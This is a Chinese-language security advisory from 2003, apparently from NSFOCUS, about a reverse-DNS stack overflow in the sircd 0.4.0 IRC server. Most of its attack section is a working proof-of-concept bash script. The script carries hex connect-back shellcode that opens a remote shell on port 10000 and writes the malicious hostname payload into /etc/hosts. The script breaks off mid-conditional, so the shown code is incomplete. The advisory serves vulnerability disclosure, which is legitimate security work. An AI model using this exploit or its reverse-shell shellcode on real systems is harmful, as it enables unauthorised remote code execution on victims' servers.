首页 -> 安全研究

安全研究

安全漏洞
Smart IRC守护程序远程客户端DNS缓冲区溢出漏洞

发布日期:2003-02-24
更新日期:2003-03-03

受影响系统:
sircd sircd 0.4.0
描述:
BUGTRAQ  ID: 6924

sircd是一款开放源代码IRC服务程序。

sircd在检查返回的DNS信息时缺少正确边界缓冲区检查,远程攻击者可以利用这个漏洞提交恶意DNS解析结果可使sircd服务程序崩溃。

sircd在解析反向DNS结果时缺少正确处理,如返回的值超长,可导致发生基于堆栈的溢出。恶意消息的缓冲区可以构建如下:

[94 bytes of crap][EBP ][EIP ][400 bytes for nops and shellcode]

提交如下反向DNS解析结果给sircd,可能以sircd进程权限在系统上执行任意指令。

<*来源:Knud Erik H?jgaard. (kain@ircop.dk
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104610453528155&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Knud Erik H?jgaard. (kain@ircop.dk)提供了如下测试方法:

#!/usr/local/bin/bash
# /usr/ports/irc/sircd ; sircd v0.4.0; FreeBSD 4.7-RELEASE-p2
# shellcode=connect back to port 10000 shellcode (72 bytes) by bighawk
# lousy script by knud
echo -e "\nsircd 0.4.0 proof-of-concept, usage $0 <ip-of-attacker>\n"

# assign variables
attackerip=$1
filler=`perl -e 'print "B" x 94'`
returnaddress=`perl -e '$i=pack("l",0xbfafec04);print $i'`
egg=`perl -e 'print "\x90" x 328 . "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\x7f\x01\x01\x01\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80"'`
attackstring=`echo "$filler$returnaddress$returnaddress$egg"` #read->                           127.0.0.1^^^^^^^^^^^^^^^

# need uid=0 to modify /etc/hosts
if [ $UID -gt 0 ];
then                
echo "UID = $UID, != 0, cannot continue";
else
echo "UID check passed, backing up /etc/hosts"
# if we end up here all is well
cp /etc/hosts /etc/hosts.$$
echo -e "$attackerip\t$attackstring\t$attackstring" > /etc/hosts
echo -e "Now connect to the sircd from $attackerip"
echo -e "Press a key and enter to restore /etc/hosts"
read restore
if [ $restore = "" ];
then

建议:
厂商补丁:

sircd
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.sircd.org

浏览次数:3861
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障